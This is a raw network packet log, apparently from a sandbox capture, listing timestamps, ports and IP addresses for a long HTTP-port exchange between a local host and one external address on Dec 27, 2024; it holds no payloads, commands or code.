Dec 27, 2024 08:52:12.233062983 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.234118938 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.234184980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.234189034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.234241962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.235297918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.235347986 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.235389948 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.235430956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.236474037 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.236529112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.236588001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.236661911 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.237662077 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.237721920 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.237762928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.237808943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.238938093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.238981962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.238992929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.239022970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.240333080 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.240350008 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.240391970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.240420103 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.241545916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.241612911 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.241652966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.241693020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.242834091 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.242892981 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.243045092 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.243089914 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.243798971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.243844032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.433233976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.433268070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.433320999 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.433343887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.433527946 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.433572054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.433634996 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.433672905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.434628010 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.434679031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.434735060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.434778929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.435872078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.435895920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.435923100 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.435942888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.436666012 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.436763048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.436788082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.436810970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.437840939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.437890053 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.437938929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.437982082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.439026117 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.439081907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.439116955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.439152956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.440232992 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.440316916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.440443993 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.441374063 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.441438913 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.441472054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.441514015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.442604065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.442651987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.442683935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.442724943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.443794966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.443869114 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.443878889 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.443918943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.444922924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.444968939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.445039988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.445086002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.446120977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.446173906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.446253061 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.446310997 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.447295904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.447351933 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.447691917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.447731018 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.448507071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.448559046 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.448668003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.448714972 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.449635029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.449686050 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.449780941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.449827909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.450843096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.450897932 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.450930119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.450982094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.451997995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.452040911 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.452100992 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.452156067 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.453211069 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.453257084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.453299046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.453339100 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.454380989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.454435110 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.454468966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.454513073 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.455738068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.455751896 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.455807924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.456742048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.456789017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.456832886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.456876993 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.457902908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.457954884 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.457993984 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.458049059 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.459095955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.459150076 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.459178925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.459259033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.460253954 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.460308075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.460364103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.460405111 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.461437941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.461555004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.461576939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.461585045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.462641954 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.462697983 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.462723017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.462768078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.463819027 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.463869095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.463916063 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.463977098 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.464966059 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.465027094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.465053082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.465090990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.466165066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.466224909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.466264009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.466308117 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.467405081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.467453003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.467566013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.467607975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.468651056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.468707085 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.468789101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.468830109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.469723940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.469784021 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.469840050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.469882965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.470989943 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.471055031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.471084118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.471127987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.472098112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.472142935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.472181082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.472227097 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.473246098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.473294973 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.473339081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.473388910 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.474427938 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.474474907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.474526882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.474566936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.475629091 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.475678921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.475780964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.475821018 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.476814032 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.476850986 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.476936102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.476977110 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.477968931 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.478013992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.478084087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.478123903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.479182959 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.479243040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.479260921 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.479310036 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.480346918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.480401039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.480463982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.480505943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.481545925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.481595039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.481631994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.481676102 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.482752085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.482804060 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.482841015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.482882023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.483864069 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.483913898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.483952045 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.483998060 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.485053062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.485105038 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.485233068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.485275984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.486244917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.486294985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.486367941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.486413956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.487428904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.487479925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.487559080 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.487612963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.488579035 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.488635063 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.488677979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.488729000 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.489789009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.489850044 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.489900112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.489948988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.490998030 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.491049051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.491072893 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.491115093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.492168903 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.492230892 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.492233992 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.492281914 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.493314028 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.493372917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.493403912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.493458986 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.494488955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.494565010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.494632006 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.494683981 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.625360966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.625422001 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.625439882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.625478983 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.625880003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.625946045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.625969887 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.626004934 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.627059937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.627110958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.627202988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.627249002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.628176928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.628218889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.628578901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.628626108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.628671885 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.628714085 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.629754066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.629806995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.629872084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.629914045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.630937099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.630999088 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.631035089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.631082058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.632138014 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.632186890 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.632210970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.632247925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.633258104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.633305073 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.633368969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.633409023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.634465933 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.634511948 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.634540081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.634582996 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.635632038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.635679960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.635724068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.635763884 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.636805058 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.636913061 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.637012959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.637012959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.637980938 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.638036013 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.638091087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.638135910 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.639168978 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.639223099 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.639280081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.639321089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.640301943 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.640356064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.640410900 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.640562057 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.641501904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.641571045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.641599894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.641644955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.642674923 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.642724037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.642754078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.642796040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.643857956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.643953085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.643959045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.643989086 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.645026922 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.645072937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.645090103 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.645108938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.646209955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.646259069 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.646296024 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.646337032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.647356033 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.647403955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.647416115 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.647464991 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.648539066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.648586988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.648614883 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.648665905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.649732113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.649776936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.649801016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.649878979 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.650875092 CET	80	49949	31.41.244.11	192.168.2.6
